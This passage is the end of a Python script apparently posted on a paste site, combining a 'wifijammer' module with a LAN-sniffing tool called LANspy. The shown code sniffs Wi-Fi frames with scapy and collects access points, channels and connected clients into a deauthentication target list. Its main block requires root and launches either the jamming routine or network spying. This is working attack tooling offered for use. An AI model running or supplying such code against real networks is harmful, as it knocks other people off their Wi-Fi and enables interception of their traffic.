  1496.                     APs = []
  1497.  
  1498.     # We're adding the AP and channel to the deauth list at time of creation rather
  1499.     # than updating on the fly in order to avoid costly for loops that require a lock
  1500.     if pkt.haslayer(Dot11):
  1501.         if pkt.addr1 and pkt.addr2:
  1502.  
  1503.             # Filter out all other APs and clients if asked
  1504.             if args.accesspoint:
  1505.                 if args.accesspoint not in [pkt.addr1, pkt.addr2]:
  1506.                     return
  1507.  
  1508.             # Check if it's added to our AP list
  1509.             if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp):
  1510.                 APs_add(clients_APs, APs, pkt, args.channel)
  1511.  
  1512.             # Ignore all the noisy packets like spanning tree
  1513.             if noise_filter(args.skip, pkt.addr1, pkt.addr2):
  1514.                 return
  1515.  
  1516.             # Management = 1, data = 2
  1517.             if pkt.type in [1, 2]:
  1518.                 clients_APs_add(clients_APs, pkt.addr1, pkt.addr2)
  1519.  
  1520.  
  1521. def APs_add(clients_APs, APs, pkt, chan_arg):
  1522.     ssid = pkt[Dot11Elt].info
  1523.     bssid = pkt[Dot11].addr3
  1524.     try:
  1525.         # Thanks to airoscapy for below
  1526.         ap_channel = str(ord(pkt[Dot11Elt:3].info))
  1527.         # Prevent 5GHz APs from being thrown into the mix
  1528.         chans = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11']
  1529.         if ap_channel not in chans:
  1530.             return
  1531.  
  1532.         if chan_arg:
  1533.             if ap_channel != chan_arg:
  1534.                 return
  1535.  
  1536.     except Exception as e:
  1537.         return
  1538.  
  1539.     if len(APs) == 0:
  1540.         with lock:
  1541.             return APs.append([bssid, ap_channel, ssid])
  1542.     else:
  1543.         for b in APs:
  1544.             if bssid in b[0]:
  1545.                 return
  1546.         with lock:
  1547.             return APs.append([bssid, ap_channel, ssid])
  1548.  
  1549.  
  1550. def clients_APs_add(clients_APs, addr1, addr2):
  1551.     if len(clients_APs) == 0:
  1552.         if len(APs) == 0:
  1553.             with lock:
  1554.                 return clients_APs.append([addr1, addr2, monchannel])
  1555.         else:
  1556.             AP_check(addr1, addr2)
  1557.  
  1558.     # Append new clients/APs if they're not in the list
  1559.     else:
  1560.         for ca in clients_APs:
  1561.             if addr1 in ca and addr2 in ca:
  1562.                 return
  1563.  
  1564.         if len(APs) > 0:
  1565.             return AP_check(addr1, addr2)
  1566.         else:
  1567.             with lock:
  1568.                 return clients_APs.append([addr1, addr2, monchannel])
  1569.  
  1570.  
  1571. def AP_check(addr1, addr2):
  1572.     for ap in APs:
  1573.         if ap[0].lower() in addr1.lower() or ap[0].lower() in addr2.lower():
  1574.             with lock:
  1575.                 return clients_APs.append([addr1, addr2, ap[1], ap[2]])
  1576.  
  1577.  
  1578. def stop(signal, frame):
  1579.     if monitor_on:
  1580.         sys.exit('\n[' + R + '!' + W + '] Closing')
  1581.     else:
  1582.         remove_mon_iface(mon_iface)
  1583.         sys.exit('\n[' + R + '!' + W + '] Closing')
  1584.  
  1585. #############################
  1586. #####End wifijammer Code#####
  1587. #############################
  1588.  
  1589.  
  1590. if __name__ == "__main__":
  1591.     if not os.geteuid() == 0:
  1592.         exit("\nPlease run as root\n")
  1593.     logger = open('LANspy.log.txt', 'w+')
  1594.     DN = open(os.devnull, 'w')
  1595.     args = parse_args()
  1596.     if args.pcap:
  1597.         pcap_handler(args)
  1598.         exit('[-] Finished parsing pcap file')
  1599.  
  1600.     if args.jam:
  1601.         wifijammerMain(args)
  1602.     else:
  1603.         LANsMain(args)
Add Comment
Please, Sign In to add comment